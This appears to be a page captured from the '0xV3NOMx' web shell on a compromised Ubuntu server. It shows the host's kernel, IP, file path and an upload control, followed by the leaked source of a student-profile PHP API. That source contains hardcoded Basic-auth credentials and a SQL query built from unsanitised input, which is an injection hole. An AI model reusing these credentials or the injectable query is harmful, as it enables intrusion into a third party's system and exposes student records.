0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.188.211.246


Current Path : /proc/thread-self/root/var/www/html/sjbitapi/src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/sjbitapi/src/profile.php

<?php

function getProfileDet($aobj_context)
{ 
	$data_json = file_get_contents("php://input");
	$data = json_decode($data_json,true);

	if($_SERVER['PHP_AUTH_USER'] == 'revaapiuser' && $_SERVER['PHP_AUTH_PW'] == 'reva@124')
	{

	}else
	{
		$arry='Unauthorized User';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arry,-1,"Failure");
		return;
	}

	$regno = $data['regno'];

	if($regno == '')	
	{
		$arry='Enter Register No.';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arry,-1,"Failure");
		return;
	}

	$query = "select fname as name, ffatname as fatname, fmotname as motname 
	from student where fregno = '{$regno}'";
	$res = $aobj_context->mobj_db->GetRow($query);

	if($res)
	{
		$arry['studDet'] = $res;
		echo $aobj_context->mobj_output->ToJSONEnvelope($arry,0,"success");
		return;
	}else
	{
		$arry['msg']='Invalid Register';
		echo $aobj_context->mobj_output->ToJSONEnvelope($arry,-1,"Failure");
		return;
	}
}

?>